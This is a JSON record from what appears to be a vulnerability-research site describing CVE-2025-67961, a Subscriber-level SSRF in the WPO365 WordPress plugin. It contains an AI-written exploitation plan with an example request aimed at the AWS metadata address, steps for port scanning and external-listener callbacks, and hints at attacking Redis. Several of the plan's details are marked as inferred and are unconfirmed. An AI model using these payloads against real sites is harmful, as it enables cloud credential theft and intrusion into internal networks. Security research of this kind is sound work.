[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fOQ9PGP3TM4MA6EpYklpkmymUbB4akU4zDc1kgDB5vFg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2025-67961","wpo365-authenticated-subscriber-server-side-request-forgery","WPO365 \u003C= 40.0 - Authenticated (Subscriber+) Server-Side Request Forgery","The WPO365 | SEAMLESS WORDPRESS + MICROSOFT INTEGRATION (WPO365 | LOGIN) plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 40.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.","wpo365-login",null,"\u003C=40.0","40.1","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Server-Side Request Forgery (SSRF)","2026-01-21 00:00:00","2026-01-28 15:36:54",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcce35f0b-07b2-4b7b-b1c9-fcf2840e8437?source=api-prod",8,[22,23,24,25,26,27,28,29],"Core\u002FVersion.php","README.txt","apps\u002Fdist\u002FcalendarBasic.js","apps\u002Fdist\u002FcbsBasic.js","apps\u002Fdist\u002FdocsBasic.js","apps\u002Fdist\u002FedBasic.js","apps\u002Fdist\u002FlistBasic.js","apps\u002Fdist\u002FpbiBasic.js","researched",false,3,"This research plan focuses on exploiting a Server-Side Request Forgery (SSRF) vulnerability in the **WPO365 | LOGIN** plugin (version \u003C= 40.0). The vulnerability lies in the plugin's \"Microsoft Graph Proxy\" feature, which allows authenticated users to make arbitrary web requests.\n\n### 1. Vulnerability Summary\nThe WPO365 plugin provides a REST API proxy to facilitate communication with Microsoft Graph. This proxy endpoint fails to properly validate the destination of the requests, allowing authenticated users (with at least Subscriber-level access) to redirect these requests to arbitrary internal or external URLs. This is a classic SSRF that can be used to scan internal networks, access cloud metadata services (e.g., AWS\u002FGCP metadata), or interact with internal services that rely on IP-based authentication.\n\n### 2. Attack Vector Analysis\n*   **Endpoint**: `\u002Fwp-json\u002Fwpo365\u002Fv1\u002Fgraph` (inferred from documentation and plugin architecture).\n*   **Method**: `POST` or `GET`.\n*   **Vulnerable Parameter**: `url` (inferred).\n*   **Authentication**: Required (Subscriber or higher).\n*   **Preconditions**: \n    1.  Plugin version \u003C= 40.0 installed.\n    2.  A valid Subscriber account.\n    3.  A valid REST API nonce (`wp_rest`).\n\n### 3. Code Flow (Inferred)\n1.  **Registration**: The plugin registers a REST route in a class (likely `Wpo\\Rest\\Service`) using `register_rest_route('wpo365\u002Fv1', '\u002Fgraph', ...)`.\n2.  **Permission Check**: The `permission_callback` for this route likely uses `is_user_logged_in()`, allowing any authenticated user (Subscriber+) to access it.\n3.  **Proxy Logic**: The callback function (e.g., `proxy_request`) retrieves the `url` parameter from the `WP_REST_Request`.\n4.  **The Sink**: The plugin uses `wp_remote_get()` or `wp_remote_post()` (or a wrapper around `curl`) to fetch the content of the provided `url` without verifying that it belongs to `graph.microsoft.com`.\n5.  **Output**: The response from the arbitrary URL is returned to the attacker.\n\n### 4. Nonce Acquisition Strategy\nThe WordPress REST API requires a nonce for non-GET requests (and often for GET requests when using certain authentication schemes). Since we are attacking an authenticated endpoint, we must obtain the `wp_rest` nonce.\n\n1.  **Login**: Use the execution agent to log in as a Subscriber.\n2.  **Navigation**: Navigate to the WordPress Dashboard (`\u002Fwp-admin\u002F`).\n3.  **Extraction**: WordPress automatically localizes the REST API settings into the `wpApiSettings` JavaScript object.\n4.  **Execution Agent Command**:\n    ```javascript\n    \u002F\u002F Use browser_eval to extract the nonce\n    const nonce = await browser_eval(\"window.wpApiSettings?.nonce\");\n    ```\n    *If `wpApiSettings` is unavailable, the nonce can be found in the page source via regex: `_wpnonce[\"\\s:]+([a-f0-9]{10})`.*\n\n### 5. Exploitation Strategy\nWe will use the `http_request` tool to communicate with the REST API.\n\n*   **Target URL**: `http:\u002F\u002F\u003CTARGET_HOST>\u002Fwp-json\u002Fwpo365\u002Fv1\u002Fgraph`\n*   **Payload (External Listener)**: Use a `url` parameter pointing to a listener (e.g., Interactsh or a custom server) to confirm the request originates from the WordPress server.\n*   **Payload (Internal\u002FMetadata)**: `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` (AWS) or `http:\u002F\u002Flocalhost:80` (Internal port scanning).\n\n**Example Request**:\n```http\nPOST \u002Fwp-json\u002Fwpo365\u002Fv1\u002Fgraph HTTP\u002F1.1\nHost: \u003CTARGET_HOST>\nContent-Type: application\u002Fjson\nX-WP-Nonce: \u003CEXTRACTED_NONCE>\nCookie: \u003CSUBSCRIBER_COOKIES>\n\n{\n    \"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\",\n    \"method\": \"GET\"\n}\n```\n\n### 6. Test Data Setup\n1.  **Install Plugin**: Ensure WPO365 version 40.0 is installed.\n2.  **Create User**: Create a user with the **Subscriber** role.\n    ```bash\n    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123\n    ```\n3.  **Environment**: Ensure the WordPress server can reach the target of the SSRF (e.g., a test internal service or a mock metadata server).\n\n### 7. Expected Results\n*   **Success**: The response will contain the HTTP response body of the URL provided in the `url` parameter. For example, if targeting AWS metadata, the response will show metadata categories.\n*   **HTTP Status**: A successful proxy request will likely return `200 OK` with the proxied data.\n*   **Evidence**: The server logs of the target URL (the \"sink\") will show an incoming request from the WordPress server's IP address.\n\n### 8. Verification Steps\n1.  **Check Plugin Version**:\n    ```bash\n    wp plugin get wpo365-login --field=version\n    ```\n    Confirm it is `40.0` or lower.\n2.  **Log Review**: After the exploit, check the WordPress server's access logs to verify the `POST` request to `\u002Fwp-json\u002Fwpo365\u002Fv1\u002Fgraph`.\n3.  **Callback Verification**: If using an external listener, confirm that the User-Agent in the received request matches the default WordPress user agent (e.g., `WordPress\u002FX.X.X; http:\u002F\u002F...`).\n\n### 9. Alternative Approaches\n*   **GET Request**: Try passing the payload via a GET request if POST is blocked or requires additional parameters:\n    `GET \u002Fwp-json\u002Fwpo365\u002Fv1\u002Fgraph?url=http:\u002F\u002Finternal-service\u002F`\n*   **Header Injection**: Check if the proxy allows passing custom headers (e.g., via a `headers` JSON key), which could be used for more advanced SSRF exploitation (like attacking internal Redis or Memcached instances).\n*   **Vulnerable File Discovery**: If the REST route is not `\u002Fgraph`, scan for other routes under the `wpo365\u002Fv1` namespace using:\n    ```bash\n    wp rest route list --namespace=wpo365\u002Fv1\n    ```","gemini-3-flash-preview","2026-05-05 03:46:15","2026-05-05 03:46:38",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","40.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpo365-login\u002Ftags\u002F40.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpo365-login.40.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpo365-login\u002Ftags\u002F40.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpo365-login.40.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpo365-login\u002Ftags"]